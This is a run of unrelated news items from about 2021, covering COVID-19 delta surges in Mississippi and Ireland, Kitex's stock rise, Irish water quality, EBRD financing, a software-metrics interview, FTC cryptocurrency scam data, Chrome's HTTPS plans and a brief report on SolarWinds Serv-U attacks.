We know the majority of our kids are not immune, Dobbs told reporters in Tupelo. We are seeing a surge of cases in kids. Most kids get over it. Some wont. There is more tragedy on the way.

In addition to the highly infectious nature of the delta variant, Dobbs said cases among children have been fostered by summertime group activities, including summer camps and vacation Bible schools.



Dr. Thomas Dobbs answers questions

Governor has no plans to renew restrictions

Despite concerns with increasing cases caused by the delta variant, Reeves said he would not re-impose any mitigation measures.

The fact is, every single Mississippian has had an opportunity to get the vaccine, Reeves told reporters. There are some who have chosen not to. I encourage them to do so.

However, not every Mississippian is eligible to be vaccinated right now. No vaccine is approved for children under 12.

The spread of delta variant COVID-19 among children comes as public schools are scheduled to resume classes next month.

Reeves has now ended all emergency orders intended to mitigate COVID-19, including mandatory masking in schools. This was the last order he kept in place, only ending it after the close of the spring semester.

The governors office on Tuesday confirmed to the Daily Journal that Reeves still has no intention of imposing a mask requirement on students or staff in public schools when classes begin again in August.

Several pharmaceutical companies are testing vaccines on children under 12, but any authorization of their use is likely months away. That means vaccinating adults and teens in Mississippi is the only avenue right now to buffer children from the spread of the disease.

We want to implore everybody right now, use the tools at your disposal, Dobbs said. If youre 12 and older, we have incredibly safe and effective vaccines.



Tate Reeves answers questions

Delta hits as Guard units withdrawn from effort

The Mississippi National Guard was a driving force in overseeing logistics and administering shots at vaccination sites. These included the Tupelo site at the Mall at Barnes Crossing, as well as other sites in the region, including in Oxford and Starkville.

Your efforts saved lives, Reeves said of the National Guard while at the armory in Tupelo Tuesday.

But with the governor ending his declaration of an emergency linked to the COVID-19 pandemic, the guards role in vaccination efforts has also ended.

Clearly, our job was to make the vaccine available and accessible to every Mississippian. We did that very quickly, very fast because of these men and women in these sites that we set up throughout the state, Reeves said. Im proud of the way these individuals have worked.

Asked by reporters about the large numbers of unvaccinated Mississippians, Reeves outlined no fresh outreach proposals or campaigns.

I believe the vaccines are safe, and I encourage Mississippians to get them, but I also believe people have to make an individual choice, the governor said. We hope those numbers will continue to increase, but weve got to continue to push forward and grow our economy and get people back to work.

Older adults, the immunocompromised urged to use caution

Vaccines continue to prove very effective at preventing infections and hospitalizations, but medical experts believe right now that the delta variant is likely a little more dangerous  even for the vaccinated, at least among high-risk individuals.

According to the Mississippi State Department of Health, vaccinated Mississippians represent 12% of recent COVID-19 hospitalizations and 7% of recent COVID-19 deaths.

Those numbers still mean the vaccines offer good protection against COVID-19, but Dobbs said those numbers are still higher than some other states.

Mississippis high population of immunocompromised individuals may account for this, Dobbs suggested. Vaccines may be slightly less effective for such individuals, and Dobbs recommended anyone with concerns talk to their doctor.

A booster vaccine shot may be advised in certain cases.{span class=print_trim}

{strong style=font-style: italic;}Editors note:{/strong} A previous version of this story reported that State Health Officer Dr. Thomas Dobbs said that 12 Mississippi children were hospitalized with COVID-19, with 10 of them on ventilators. Dobbs said late Tuesday night that a hospital mis-reported their numbers. The correct totals are seven children hospitalized with COVID-19, with two of them on a ventilator.
Kitex CMD Sabu Jacob richer by Rs222 cr as he moves expansion poject out of Kerala

The stock market has given a big thumps up to Kitex Garments decision to move its expansion plan out of Kerala to investor-friendly Telangana, taking the stock price up more than 55 per cent in just five trading sessions, making Kitex chairman and managing director Sabu Jacob richer by Rs222 crore, as he owns 55 per cent in the BSE-listed company.

The stock price of the Kochi-based kids garment maker shot up by 44.26 per cent since Friday when Sabu Jacob announced his decision to dump his Rs3,500-crore investment proposal for Kerala following alleged harassment by the Left-led government and announced plan to invest Rs1,000 crore in Telangana.

The Kitex stock which rose nearly 20 per cent on Friday, gained another 20 per cent on Monday when Sabu Jacob said his company would not make any more investments in Kerala, and that he was in discussions with neighbourinfg states like Tamil Nadu, Andhra Pradesh and Karnataka for future expansions.

The companys stock price increased from Rs108.9 to Rs168.65 on Monday, taking the overall gain to 55 per cent in just five trading sessions since the controversy broke out between the Kerala government and Kitex Group.

The market value of Kitex, the worlds third-largest infant garment maker, touched Rs1,121.52 crore, an increase of Rs408.32 crore in a week since Tuesday last. The gain in Kitexs stock price comes at a time when the companys net profit has been coming down. For the quarter ended March 2021, its profit after tax plunged 53.06 per cent to Rs8.27 crore from Rs17.62 crore during the same quarter of the previous year. Total sales had also declined by 23.65 per cent to Rs111.70 crore in the quarter ended March 2021.

Meanwhile, the Andhra Pradesh government has invited Kitex Garments to invest in the state. The invitation by the AP government comes after the company signed an agreement with the Telengana government to invest Rs1,000-crore in a new garment facility in the state. The talks, however, are reported to be in the preliminary stage. The AP government has mailed the industry policy and details of the textile cluster development policy being adopted by the state government to the Kitex Group, reports said.

Sabu Jacob said all South Indian states except Kerala were making competitive offers for Kitex to invest in their respective states. It is a golden opportunity for Kitex and we are getting attractive offers from all southern states. On Monday, the Andhra Pradesh Industries Minister called me up and requested for a meeting. The minister said he will arrange a meeting with the chief minister (YS Jagan Mohan Reddy), Sabu said, adding that the minister assured that all our requirements would be discussed.
Irish agriculture needs a systemic change to set it on the path to resilience, according to Senator Pippa Hackett, Minister of State at the Department of Agriculture.

Speaking in Seanad Eireann this week, she called on farmers to reduce the use fertilisers and protect the biology of the soil.

We have become addicted to feeding our soil with artificial fertilisers, she said.

Fertilisers are finite  be they mined or produced with fossil fuels. And if we are to fix things, then we have to do more than just cut back. We must wean ourselves off these synthetic inputs and embrace the new agricultural revolution that is now upon us.

The last major food systems shift was in the post-war decades. Then, the rather misnamed Green Revolution fuelled by fossil fuels, led us along the path of abundance and growth, but at an enormous cost to our environment. The next major food systems shift is now and it must be one during which the environment stops paying a heavy price.

The Senator, who farms organically, called on Irish farmers to build a truly sustainable food system and embrace the new agricultural revolution.

We can either lead  and capitalise economically and environmentally on that leadership  or we can sit and wait, pay huge fines, and spend the next decade catching up, licking our wounds, and regretting that we did not act sooner, she said. Because that is what will happen.
Irish Water, working in partnership with Louth County Council, are continuing with works to restore normal water supply to some customers in Dundalk impacted by discoloured water.

Irish Water and Louth County Council investigated the matter and found the substantive cause being a large burst on the network which caused sediment to be dislodged and carried through the network to the customer tap.

Following the successful completion of repairs some customers continued to experience discoloured water.

Further investigations found this discolouration was caused by the presence of manganese.

A programme of works is currently underway at the Cavanhill water treatment plant to reduce manganese levels in the final treated water which will help reduce the likelihood of future sediment build-up in the network.

An interim Manganese treatment system is now installed and modifications to the system are underway following initial testing.

The final performance testing is expected to be completed shortly.

Following the successful completion of testing to ensure the treatment system is operating with maximum effectiveness, Irish Water will conduct a network flushing programme in Dundalk town and environs to clear the network of any remaining sediment.

Customers will be given advance notice of when these flushing works will commence.

In the meantime people are advised that if their water is discoloured, to continue running the tap for a few minutes to restore the clear colour.

If the colour does not restore to clear, customers are advised not the drink the water as a precaution, and should contact Irish Water using the contact details below.

Irish Water can confirm that the Manganese levels found are not at a level that would pose a risk to health, and are continuing to decrease.

Two further rounds of network monitoring were undertaken last week and all results were compliant.

Irish Water continue to closely monitor both the plant and network in consultation with the Health Services Executive (HSE).

If the situation changes, and a risk to public health arises, Irish Water will notify all affected customers immediately.

Irish Water apologises for any inconvenience as a result of this issue.

Customers with queries or concerns about the quality of their drinking water should contact the Irish Water customer care helpline, open 24/7 on 1800 278 278 or via Twitter @IWCare.
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TIM JEAN/Staff photoDiBurros' Restaurant and Function facility in Haverhill. The owners Robert DiBurro and his brother David have agreed to sell to Princeton Properties and plans to build a new large housing project that will replace the function facility at the end of the year. DiBurros' plan on continuing offering its famous Italian salad dressing and also will be expanding the line, that's available in Market Basket supermarkets all across the region. 6/15/21
CHAMPAIGN, Ill. (AP)  Former Illinois football star Bobby Roundtree, who was paralyzed from the waist down in a swimming accident two years ago, died Friday, the university said. He was 23.
Three public officials, including Curry Countys chief deputy assessor, completed the New Mexico Certified Public Management Program and were recognized at a virtual graduation last month.

New Mexico State Universitys Cooperative Extension Service administers the nationally accredited program, NM EDGE, which stands for Education Designed to Generate Excellence in the public sector.

NM EDGE serves as a program of New Mexico State Universitys Cooperative Extension Service to find and fill educational gaps in the public sector with classes that are affordable, accessible and meaningful, said Mary C. DeLorenzo, NM EDGE program director. We honor these notable public servants and their commitment to our mutual goal of better government through education. These individuals have demonstrated their dedication to succeed regardless of the circumstances.

Certified Public Manager graduates included Janie Hoffman, Quay County assessor; Randa Jesko, certified public assessment officer and Curry County chief deputy assessor and geographic information system analyst; and Stan Ross, New Mexico Governors Commission on Disability architectural access specialist.

Being a part of the New Mexico EDGE offers a wide variety of opportunities, said Jeanine Eden, NM EDGE program coordinator. These graduates had to complete a capstone project and many hours of hard thought and dedication in the realm of public service.

To earn the New Mexico Certified Public Manager designation, a minimum of 300 hours with 60 classes, 18 hours of assessments and a supervised capstone are required.

Its a process and a journey that takes us with them throughout, and we are honored to welcome them into the ranks of certified public managers worldwide, DeLorenzo said.

I choose to be a public servant because Im really honored to give back to this community that has given me so much, Jesko said. Im proud of Curry County. Its my home. This place raised me and invested in me my whole life, and choosing to serve this community allows me to do my part to make a difference and play an active role in this communitys progress.

I choose to be a public servant because serving other people brings excitement and joy into my life, Hoffman said.

I choose to be a public servant because I believe it enables me to contribute to the betterment of life for all of us, Ross said.

Also recognized for their achievements were Venessa Ellen Burk, Albuquerque Housing Authority procurement specialist, as a certified public purchasing professional; Melissa Ann Gunn, Curry County human resources director, as a certified public official; and Michelle Romero, Los Lunas Public Schools director of purchasing and chief procurement officer, as a certified advocate in public ethics.

To learn more about the NM EDGE program, go to nmedge.nmsu.edu.
A judge has agreed to delay the sentencing of the man convicted of killing University of Iowa student Mollie Tibbetts after his lawyers said they need time to investigate new information implicating other people
Dick Mason is a reporter with The Observer primarily covering the communities of North Powder, Imbler, Island City and Union, education, Union County veterans programs and local history. Dick joined The Observer in 1983, first working as a sports and outdoors reporter.
Even though it has deteriorated over time, the essentials of the Buckhorn Baths can still be saved, its new owners representatives say.
TURKCE OKUYUN

EBRD to finance production of climate-friendly, next generation all-electric Ford Transit Custom commercial vehicles.

650 million A/B loan to fund Ford Otosans manufacturing expansion in Turkey

Turkish carmakers Kocaeli plant set to become Ford's electric vehicle hub for Europe

The European Bank for Reconstruction and Development (EBRD) is supporting the production of a range of next generation all-electric and plug-in hybrid variants of one-tonne commercial vehicles for the European market by arranging a 650 million loan to Ford Otosan, US automaker Fords joint venture with Turkeys Koc Holding.

The financing, shared by the EBRD and commercial lenders, is part of the Banks drive to fund the green transition and supports Fords aim of leading the electrification of the automotive industry for a climate-friendly, more sustainable future. Ford Otosan is Europes leading commercial vehicle manufacturer.

The financial package consists of a 175 million loan for the EBRDs own account and 475 million in debt syndicated to other lenders under the Banks A/B loan syndication structure. This is a financing model whereby commercial banks and certain qualifying private-sector lenders participate in an EBRD loan on market terms, with the EBRD remaining the lender of record for the entire loan amount. Participating lenders include Akbank AG, Bank of China, BNP Paribas, Emirates NBD Bank (P.J.S.C.), Green for Growth Fund, HSBC, Industrial and Commercial Bank of China, Mediobanca, MUFG, QNB and Societe Generale.

Electric vehicles (EVs) are seen as key to the future of transport, as more and more governments move to decarbonise the industry to speed up reductions in greenhouse gas emissions and combat climate change.

The new one-tonne Ford Transit Custom will be launched in the first half of 2023. The battery-powered EVs and plug-in hybrid variants will substantially reduce harmful emissions, promoting a more climate-friendly transport option.

Ford Otosan plans to spend TRY 20.5 billion ( 2 billion equivalent) on next-generation commercial vehicle production through 2026, backed by Turkish state incentives. The company is set to become Fords global hub for the production of commercial EVs and create 3,000 new jobs in the coming years.

In addition, the company will work to improve the standards and efficiency of its suppliers by transferring knowledge and advancing their integration into its production processes.

Arvid Tuerkner, EBRD Managing Director for Turkey, said: Electric vehicles are a promising step towards lowering greenhouse gas emissions from the transport sector and I am pleased that the EBRD is able to support Turkey in becoming a European hub for commercial EV production, bringing in know-how, creating jobs and promoting a low-carbon economy. I am also delighted that we were able to attract sizeable financing from commercial lenders, reinforcing our commitment to mobilising private investment for global priorities.

Haydar Yenigun, Ford Otosan General Manager, said: As Ford Otosan, the leading commercial vehicle manufacturer in Europe, we are proud to sign one of the biggest financing agreements in the automotive sector with the EBRD within the scope of our largest automotive investment in Turkey, as previously announced. With this strategic investment, as the countrys leading exporter, not only of vehicles but also engineering and technology for many years, we will have the opportunity to work on advanced technologies that will contribute to the national economy and produce more sustainable products for a greener world.

A long-standing private sector partner of the EBRD, Ford Otosan manufactures, assembles and sells motor vehicles and parts under the Ford brand. It has been Turkeys top exporter for the past six years.

The EBRD is a leading institutional investor in Turkey and, to date, has invested more than 13 billion in the country through 341 projects, with 96 per cent of those in the private sector.
Taking the energy transformation of Uzbekistan to the next stage is the goal of an international roundtable organised by the European Bank for Reconstruction and Development, the World Bank Group and the government today in a virtual format.

Although rich in oil and gas reserves, Uzbekistan has embarked on an ambitious and far-reaching plan to reduce greenhouse gas emissions and eventually achieve carbon neutrality of the domestic energy sector by 2050.

The country plans to focus on the development of low-carbon energy sources including solar, hydro and wind energy.

The EBRD has supported Uzbekistan in the development of a roadmap towards carbon neutrality. The Bank is providing technical support and assistance in financing, in particular, the development and implementation of projects for large-scale power plants based on renewables, the implementation of solutions for the modernisation of the power grid, the decommissioning, modernisation and conversion of old power plants.

Uzbekistan has particular promising potential in the development of wind and solar power and the EBRD most recently signed some of the first private investments in the sector such as the solar photovoltaic plants in Nur Navoi and Samarkand.

The international roundtable under the title Accelerating Renewable Energy Development for Clean Energy Transition in Uzbekistan will discuss ways to scale-up the deployment of renewable energy within the framework of the clean energy transition agenda of the government.

The event will examine the current status and future plans and draw on good practices on strategy, policy, regulations, technologies, private sector participation and innovative financing mechanisms.

Topics to be raised will include progress, challenges, barriers and new reforms in the renewables sector; how to create an enabling environment for renewables, including legal and regulatory framework and institutional responsibilities; the governments plans for the transition to a competitive wholesale electricity market; clean energy transition and decarbonisation of the energy sector, and many more.

Alisher Sultanov, Minister of Energy of Uzbekistan commented: The resolution of the President "On measures to develop renewable and hydrogen energy in the Republic of Uzbekistan" was adopted. We are at the start of this work, and this is a new interesting and important direction for our professionals and consumers in general. We are carefully studying the best international practices in countries such as Germany, Russia, the Netherlands, China and Spain. I am confident that this exchange of experience will help us to shape our path and succeed in attracting international investment in this area. We are taking bold and concrete steps to implement a number of strategic and sectoral measures aimed at expanding the use of renewable energy sources and building infrastructure for hydrogen energy.
Deputy Chief Medical Officer Dr Ronan Glynn has encouraged people to continue to adhere to basic public health measures amid the continuing rise of Delta cases in Ireland.

It comes as an additional 589 cases of Covid-19 were confirmed in Ireland on Tuesday.

As of 8am on Tuesday, 62 Covid-19 patients are hospitalised, of which 17 are in ICU.

Dr Glynn said that scientific evidence shows that Delta "is a much more transmissible variant of Covid-19" which now accounts for 80% of the cases reported in Ireland.

"This is a challenge that is facing all of Europe, but we know that the basic public health measures still work against this variant.

Please continue to avoid crowds, wear a mask, manage your contacts, keep your distance, meet outdoors where possible and if indoors, ensure that the room is well ventilated.

With incidence of the disease continuing to increase, the rapid identification of cases and outbreaks of Covid-19 is essential.

"We are asking anyone diagnosed with Covid-19 to work with our contact tracers to identify all of your close contacts so that they, their families and colleagues can be protected. If you know you are a close contact of someone with Covid-19, or if you have any symptoms, stay at home and organise a free test as soon as possible," he said.


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The software development industry is gearing up for the post-pandemic activity. But developers will no doubt find that the race to release will likely fall flat if they do not consider meaningful metrics in their implementation.

The most important consideration for successful implementations and launches is using smart, accurate, and effective metrics, says Aurimas Adomavicius, co-founder and president of Devbridge, a global digital products consultancy.

Sustainable software is driven by product metrics, but it must be adopted across the entire enterprise. Effective metrics provide a point of comparison for the business and become behavior-changing in how decisions are made, he explained. Organizational adoption of metrics provides a common measurement across teams and initiatives to drive larger portfolio decisions.

Adomavicius is experienced in developing effective software products for several Fortune 500 companies. His mantra is getting software developers to understand the importance of using correct and accurate metrics when developing sustainable products.

He founded Devbridge, a Chicago-based tech consultancy, at age 27 and has grown the company to five hundred employees across five global offices.

Aurimas won Ernst & Young's "Entrepreneur of the Year" award in 2018 and has been featured in Entrepreneur, Raconteur, Forbes, and other publications. He is the author of "The Secret Source: The Culture, Skills, and Process for Making Great Digital Products."

TechNewsWorld spoke with Adomavicius to pursue the concept of how software developers can put meaningful metrics to work.

TechNewsWorld: How has the pandemic changed the perception or use of product metrics?

Aurimas Adomavicius: The question may be more about the growth or metrics as an indicator. I don't know that anything really has dramatically changed with the exception that during the pandemic many organizations very quickly realized what the gaps in their implementation are. Most of those gaps really are around self-service for customers and enablement of customer experience.

So the pandemic had no influence on software development?

Adomavicius: For internal workers, there was a big gap because the moment that people were sent to work from home, many companies realized that much of the underpinning technology they have for product software in many ways falls short in enabling a distributed workforce. With most people now coming back. I suppose conditions are returning to normal.

How did this shift impact the software industry?

Adomavicius: Most services take place online as opposed to people using brick-and-mortar locations. Businesses needed to accelerate the way they build the technologies and the software.

We have seen business growth of over 30 percent over 2020. On that same vector in 2021, you are going to grow at a pretty rapid clip. I think it is going to continue going up. The pandemic has been an accelerant in a way of how businesses are creating the necessary tools, their employees as well as the software and experiences.

So from a software developer's point of view, developers need to be tuned into when we talk about metrics. We really need to think about that.

How exactly do metrics figure into software implementation?

Adomavicius: First, we need to establish what a good metric is. We usually quantify them in the context of their being specific, measurable, and achievable. So those three conditions must be present for any set of metrics.

With metrics and product metrics, we do not really want to include just developers. Product development is a combination of roles. You have software development itself. With software developers you also have product designers and product managers. So typically, the three different types make cross-functional product teams. You need to really cover a wide spectrum of things that matter in a product, and so the three sets are the three big categories.

How do those metric sets interrelate?

Adomavicius: There are product expense metrics and delivery metrics. The idea is that quality metrics look at the quality of the sustainability of the product. Product metrics look at the business objectives and outcomes that the product is supposed to drive. For example, if you have a piece of software that is used for scheduling and shipping, your business around that software product should be able to schedule in any given day, trending over time, and so on.

Aurimas Adomavicius

Quality metrics could be anything from monitoring defects for acceptable defects to severe defects. There is more to quality than just scratching the surface. With delivery metrics you look at the success of using an agile delivery methodology.

Metrics can consider factors like velocity and burndown, or backlog health, and many others. When we look at overall software development, we must establish a set of metrics for any given product or product team.

We look across those three categories, and then we monitor the ones that are the most important for a particular product.

Are any of the categories more significant to the successful adoption of the software project?

Adomavicius: Product metrics are probably the closest or good option. One of your product metrics could be something like concurrent users in the system actively using a product over time. Adoption rates could actually be one of your product metrics. But we need to look at them holistically. We always like to look at it as a framework of metrics.

Having the right set of metrics for the product team is so important. Adoption should be part of the metric system. That will allow the team to perform and observe those metrics as they design the product and think about the features that are most beneficial.

You often talk about the role of personal bias that can affect what goes on with software development. Explain that notion.

Adomavicius: With bias in general, every single person is biased. When we think about products, it is very likely that we have multiple audiences in saying what the product is going to be. For instance, software development companies deal with seniors, stakeholders, and executives. They mingle at planning sessions contributing their perspectives on what the product needs to be.

Some of this perspective is based on anecdotal feedback that is being collected on the front lines of the business. Some of it is based on historical awareness of the industry. But the challenge is that when executives or stakeholders come in to help but display biases that are baked in based on the perspective that they have in business.

A good example would be when a senior stakeholder is really excited about a product notion that reflects a biased perspective asking for a particularly critical feature. Having product analytics baked into the software as it goes to market can very quickly assess how important that particular feature is to customers.

In response, you can provide a preview of a feature, without necessarily developing that feature, and then gauge the interest of the customer to use that feature before the investment is committed.

Many types of tests are possible to test the involvement of biases. Or developers can structure the product analytics that is implemented to guide and inform the team about items to refine.

We use continuous refinement analysis. This process should happen on a perpetual basis.

Is this software consultancy you are providing part of a new trend?

Adomavicius: I think historically software was made by engineers. It is a technical field. It was created by engineers. Oftentimes, when software is released, it becomes exposed to points of friction where the software is designed from an engineer's perspective but not from a user's perspective.

This industry has started shifting away from purely engineering-driven. Software development into a product might have been happening for the last seven or eight years.

What is happening with the way a piece of software is being built involves using this metric methodology where the product is at the center and user feedback is at the core of the team. We call this approach build, measure, and learn loop.

As the meaningful metrics approach started gaining momentum, the methodology is getting more recognition in the industry. Some of the largest companies in the world like Netflix and many others are using this kind of product-centric methodology. The need for these services has grown dramatically. So it is really bringing the technology much closer into the fold.

Pandemic aside, what factors are impacting software development today that did not exist until the digital transformation?

Adomavicius: Things like predictive analytics and artificial intelligence, big data, and machine learning capabilities all enabled recognition of the need for change in software development.

The products that are being used to run corporations are incredibly outdated legacy pieces of software. The aging software is written in languages that are no longer supporting vulnerabilities. The result is a rise in hacking attacks and security breaches.

This kind of product-centric development can be applied to resolve a lot of that in these organizations. Hopefully, that allows these companies to become leaner and to do more work. The teams can be much more effective because of the improved technology. Or the teams can be quicker to make decisions with fewer mistakes, and even make their work more enjoyable.

Does this concept of meaningful metrics work equally well with developers of proprietary and open-source products?

Adomavicius: It does not really matter because open source versus proprietary is still software technology. Maybe developers use different languages or frameworks. Those things really do not change why this needs to happen or how we venture out and run those businesses.

It does not really matter if intellectual property is baked into the product or the underlying frameworks or coding languages are open source or not. If you look at the industry, you see Java or .Net. Most of those frameworks have been open-sourced. It really is about the results that can be driven for the businesses.

Jack M. Germain has been an ECT News Network reporter since 2003. His main areas of focus are enterprise IT, Linux and open-source technologies. He is an esteemed reviewer of Linux distros and other open-source software. In addition, Jack extensively covers business technology and privacy issues, as well as developments in e-commerce and consumer electronics. Email Jack.




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Claims of losses from cryptocurrency scams skyrocketed from October 2020 to March 2021, according to a report released Monday by the Federal Trade Commission.

In its Consumer Protection Data Spotlight newsletter, the FTC revealed that during the October to March period nearly 7,000 consumers reported losing US$80 million. That compares to only 570 cryptocurrency scam reports amounting to $7.5 million in losses from October 2019 to March 2020.

That's more than a 1,100 percent rise in cryptocurrency scam reports during the period -- and more than a 900 percent increase in losses.

The agency noted that as the value of cryptocurrencies like bitcoin continue to soar, new investors are eager to get in on the action, and scammers are more than willing to accommodate them.

Scammers blend into the cryptocurrency scene with claims that can seem plausible because cryptocurrency is unknown territory for many people, the agency explained.

Online, people may appear to be friendly and willing to share their "tips," it continued. But that can also be part of the ruse to get people to invest in their scheme.

In fact, the FTC added, some of the schemes are based on referral chains -- also known as Ponzi schemes -- that work by recruiting novice investors to bring more novice investors into the fold.

Get Rich Quick Allure

A number of factors appear to be driving the increase in cryptocurrency scams.

"Scammers follow headlines, just like you and I do, and there's not a day that goes by that you don't hear about cryptocurrency," observed Amy Nofziger, director of fraud victim support at AARP.

"When Elon Musk was on Saturday Night Live, he mentioned Dogecoin 10 times," she told the E-Commerce Times. "People hear that and stories about one-day millionaires and they want to get in on the action."

"Some people want to get rich quick," added William J. Malik, vice president of infrastructure strategies at Trend Micro.

"They hear about fabulous returns to early investors in other cryptocurrencies and want to get in first," he told the E-Commerce Times.

Cryptocurrency scams are like other speculative scams, such as penny stocks, real estate, oil and gas, noted Purandar Das, CEO and co-founder of Sotero, a data protection company in Burlington, Mass.

"With cryptocurrency, it is even more appealing as a scam since most people don't know much about it and probably know even less about how to engage with it," he told the E-Commerce Times.

Rocketing Values

Chris Clements, vice president of solutions architecture at Cerberus Sentinel, a cybersecurity consulting and penetration testing company in Scottsdale, Ariz. maintained that the biggest driver, by far, of the spurt in cryptocurrency scams is the meteoric rise in the value of many cryptocurrencies.

"Not counting the admittedly large sell off in the past few weeks, over the past 12 months a single bitcoin went from roughly $9,000 up to $60,000, that's over a [600 percent] increase in value," he told the E-Commerce Times.

"This has drawn in scores of new investors looking to capitalize on the rapid growth, many of whom are not familiar with the additional security requirements needed to keep their new investments safe," he continued.

"Unlike traditional banking or stock market investing, cryptocurrency has few safeguards in place to protect unsuspecting users from being fooled into exposing digital wallets or performing transactions that can't be recovered once compromised," he explained.

"This provides scammers with a combination of easy targets and lucrative payouts so it's no surprise that such scams are rampant," he added.

Touch of Legitimacy

Cryptocurrencies have also gained more legitimacy in recent times. That, too, may make it less daunting to new investors.

"Cryptocurrency has gained wider adoption as applications like Square's Cash app and others have begun allowing payments with bitcoin," explained Sherrod DeGrippo, senior director of threat intelligence and detection at Proofpoint, an enterprise security company in Sunnyvale, Calif.

"Coinbase as a crypto trading platform recently had an IPO, and of course Elon Musk made many references to various cryptocurrencies on SNL a week ago," she continued.

"The wider adoption and accessibility mean that it is a natural target for crimeware actors," she told the E-Commerce Times. "As the cryptocurrency payment methods go mainstream, we will see more crime and fraud associated with it."

While cryptocurrency may be relatively new, for the most part, scammers continue to use tried and true techniques.

"They use the emotional tactics they use for every scam out there," AARP's Nofziger observed.

"They get you under the emotional ether," she continued. "They get you excited about it. They make you feel special. They make the opportunity seem legitimate."

They will also try to harvest a cryptocurrency owner's credentials, added DeGrippo. "Proofpoint continues to see credential harvesting campaigns targeting users' wallets and spoofing several popular cryptocurrency companies both as the originating sender and as a landing page to collect credentials," she said.

Playing It Safe

Cryptocurrency scams can have some advantages for criminals over other types of scams, though. "Cryptocurrency scams transcend borders even more easily than other types of online scams," Forrester Vice President and Principal Analyst Martha Bennett told the E-Commerce Times.

Stealing virtual money also has advantages over the real thing. "When scammers used to get fiat money from their victims they had to use fake bank accounts and wash it losing up to 50 percent of revenues," said Giacomo Arcaro, European growth hacker and CMO of Blackchain International, a consulting firm helping with blockchain projects and social media promotion in New York City.

"Now, by getting just crypto, they have increased their profit to 100 percent, and it's safer, too" he told the E-Commerce Times.

In its newsletter, the FTC made several recommendations for playing it safe when investing in cryptocurrencies:

Promises of guaranteed huge returns or claims that your cryptocurrency will be multiplied are always scams.

The cryptocurrency itself is the investment. You make money if you're lucky enough to sell it for more than you paid. Period. Don't trust people who say they know a better way.

If a caller, love interest, organization, or anyone else insists on cryptocurrency, you can bet it's a scam.

"Although cryptocurrencies themselves are considered 'secure', the platforms available for purchasing are not so safe," added Thomas Beek, senior cybersecurity specialist with Digital Shadows, a San Francisco-based provider of digital risk protection solutions.

He recommended investors use a centralized exchange with a high reputation that has been operating for an extensive period of time, such as Binance, Coinbase, or Kucoin.

"Although such services are not immune to the threat of an attack," he told the E-Commerce Times, "they are known for their continual efforts to check their infrastructure for any possible frailties and look to mitigate any potential vulnerabilities -- something that can't be said for any ad-hoc exchanges that are just starting out."

John P. Mello Jr. has been an ECT News Network reporter since 2003. His areas of focus include cybersecurity, IT issues, privacy, e-commerce, social media, artificial intelligence, big data and consumer electronics. He has written and edited for numerous publications, including the Boston Business Journal, the Boston Phoenix, Megapixel.Net and Government Security News. Email John.


The French government has announced that it will not ban its citizens from going on holiday to Spain or Portugal, although last week it advised against these destinations due to their epidemiological situation. Nevertheless, France has asked its citizens to be careful, especially in territories such as Catalonia where infection has been on the rise.

French government spokesperson Gabriel Attal remarked during a post-cabinet meeting press conference that the executive had ruled out "banning the French from going on holiday to Spain or Portugal". However, Attal called for caution when travelling, as in France "the fourth wave has already begun."

Focus on Catalonia

Gabriel Attal reminded French citizens who plan to travel this summer to take into account the danger of some areas, where new cases are soaring. He used the situation in Catalonia to exemplify the kind of territories that pose an extreme risk. "Obviously in certain countries or in certain territories of these countries where the epidemic is stronger, for example in Catalonia, where the incidence rate among young people is up to 1,000, special vigilance is required," said the spokesperson.

As the Catalan health minister, Josep Maria Argimon, declared yesterday, the data in Catalonia is "worse than terrible". In the last few hours, 8,585 new infections have been registered. Pressure on the health system is beginning to extend beyond primary care to affect inpatient beds and intensive care facilities. Yesterday, 1,058 patients were admitted to Catalan hospitals due to Covid. In addition, the total of Covid patients in ICUs has reached 209, a concerning figure as the fifth wave continues.

New measures in the French state

France will not make vaccination mandatory, but is requiring its citizens to show a Covid Digital Certificate in order to enter restaurants or to travel. President Emmanuel Macron announced that the EU's "Covid-19 passport", a negative test result or a negative certificate proving that the person has had the virus will be required to access "cafes, restaurants, shopping malls, planes, trains and medical facilities" from August. The measure will begin to apply to nightclubs from July 21st, but for other spaces it will have to wait for the approval of specific legislation that will affect all those over the age of 12.

The measures Macron announced on Monday come in addition to the decision to charge for PCR tests starting in the autumn, unless they are prescribed by a doctor. Until now, the social security system reimbursed French citizens for Covid-19 tests. Macron justified the move to "encourage vaccination rather than multiply testing."
Man who broke self-isolation rules given caution

A Manx resident who broke self-isolation rules have been given a caution.

Police confirmed the man was arrested on Tuesday after arriving back to the Isle of Man following a trip to the UK.

He was arrested after he wasn't found to quarantining at his address.

The force said he was given a caution for failing to comply with Coronavirus restrictions.
Athens, AL (35611)

Today

Thunderstorms, locally heavy early, mainly cloudy overnight with more rain likely, again possibly heavy at times. Low 69F. Winds light and variable. Chance of rain 100%. 2 to 3 inches of rain expected..

Tonight

Thunderstorms, locally heavy early, mainly cloudy overnight with more rain likely, again possibly heavy at times. Low 69F. Winds light and variable. Chance of rain 100%. 2 to 3 inches of rain expected.
In April, Google made HTTPS the default in Chrome , but that doesnt mean the companys long-standing push to make the protocol as widely used as possible is over. On Wednesday, Google detailed new features it will introduce in Chrome to further push HTTPS adoption.

With Chrome 94, Google will introduce a feature called HTTPS-First Mode. Much like its Firefox counterpart , the tool will attempt to ensure you always connect to a website over HTTPS. When thats not possible, Chrome will display a warning that youre putting your privacy and security at risk. At first, users will need to turn on the feature, though Google says it may make it the default for everyone down the road.

Ahead of Chrome 94, the company has a separate HTTPS-related experiment planned. Starting with Chrome 93, Google will replace the lock icon in the address bar, which indicates youre securely connected to a website, with a more neutral downward arrow.

The company says its doing this to see if to improve the discoverability of critical privacy and security information. According to Google, only 11 percent of participants in a recent study knew what the icon meant. Most people assumed it was Chromes way of saying the website they were visiting was trustworthy, which is a potentially risky leap to make. The experiment wont change the icon youll see when you connect to a website over HTTP. It will continue to say Not Secure in the address bar.

Despite all that its doing to make HTTPS as ubiquitous as possible, Google says it will continue to support HTTP for the time being. At the same time, the company notes it will explore whether it should limit or completely restrict certain Chrome features when you dont have a secure connection to a website.
SolarWinds vulnerabilities continue to be targeted by overseas hackers months after the US information technology company suffered a widespread cyberattack. On Tuesday, Microsoft said that a group operating out of China was using a zero-day remote code execution to attack SolarWinds software. If successfully exploited, the flaw in the IT company's Serv-U software allows hackers to perform actions like install and run malicious payloads or view and change data, Microsoft noted in a blog post.

